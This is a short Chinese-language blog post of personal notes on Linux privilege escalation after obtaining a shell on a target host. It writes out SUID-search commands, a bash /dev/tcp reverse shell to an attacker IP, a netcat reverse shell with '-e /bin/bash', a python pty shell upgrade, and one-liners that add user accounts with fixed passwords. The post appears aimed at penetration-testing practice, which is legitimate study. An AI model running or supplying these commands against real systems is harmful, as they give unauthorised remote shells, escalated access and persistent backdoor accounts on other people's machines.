Linux 提權

weixin_34162695發表於2018-11-29

參考連結:
https://www.tuicool.com/articles/NzMJRjm
https://www.anquanke.com/post/id/87017

在獲取靶機shell之後,首先看一下是什麼許可權,許可權低的話就要進行提權了

常規思路:

  1. 檢查漏洞系統的作業系統發行版

cat /etc/issue
cat /etc/*-release

  1. 檢視核心版本(獲取版本後可使用kali自帶的searcsploit搜尋漏洞利用程式碼)

uname -a

  1. 檢查可用的使用者及當前使用者的許可權

whoami

  1. 列出SUID檔案(SUID目的是讓本來沒有相應許可權的使用者執行這個程式時可以訪問沒有許可權訪問的資源)

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find / -user root -perm -4000 -print 2>/dev/null

已知可以用來提權的linux可執行檔案:nmap vim find Bash More Less Nano cp

  1. 檢視安裝的包、程式、執行的服務。過時的版本可能存在漏洞。

Bash 反彈 shell

bash 一句話反彈

本地 nc -l -p 8080
靶機 bash -i >& /dev/tcp/192.168.1.1/8080 0>&1

    命令                      命令詳解
bash -i               產生一個bash互動環境
>&                    將聯合符號前面的內容與後面相結合然後一起重定向給後者
/dev/tcp/ip/埠      linux 環境中所有的內容都是以檔案的形式存在的,讓主機與目標主機ip:埠建立一個TCP連線 
0>&1                  將 標準的輸入 與 標準輸出 內容相結合,然後重定向給前面  標準的輸出 內容

詳細解讀過程:bash產生了一個互動環境與本地主機主動發起與目標主機8080埠建立的連線(即TCP 8080 會話連線)相結合,然後在重定向tcp 8080會話連線,最後將使用者鍵盤輸入與使用者標準輸出相結合再次重定向給一個標準的輸出,即得到一個bash 反彈環境。

Netcat 工具反彈

  1. 開啟外網主機監聽

root@kali:~#nc -lvpp 4050

  1. netcat 反彈一句話

靶機$:nc ip 埠 -t -e /bin/bash

通過靶機webshell使用nc命令建立一個ip:埠的會話連線,將本地shell通過這個會話反彈給目標主機

python 標準虛擬終端獲取

python一句話獲取標準shell

python -c "import pty;pty.spawn('/bin/bash')"

    命令                                命令詳解
    -c                       命令列執行 
   import pty                引入標準庫pty           
   pty.spawn                 使用pty的spawn方法呼叫/bin/bash獲取一個標準的shell

Linux 一句話新增賬戶

  1. chpasswd 方法

useradd test;echo 'test:123456'|chpasswd

  1. useradd -p 方法

useradd -p `openssl passwd 123456` guest

  1. echo -e 方法

useradd test;echo -e "123456n123456n" |passwd test



其他的感覺不是經常使用,就沒有再做筆記了

相關文章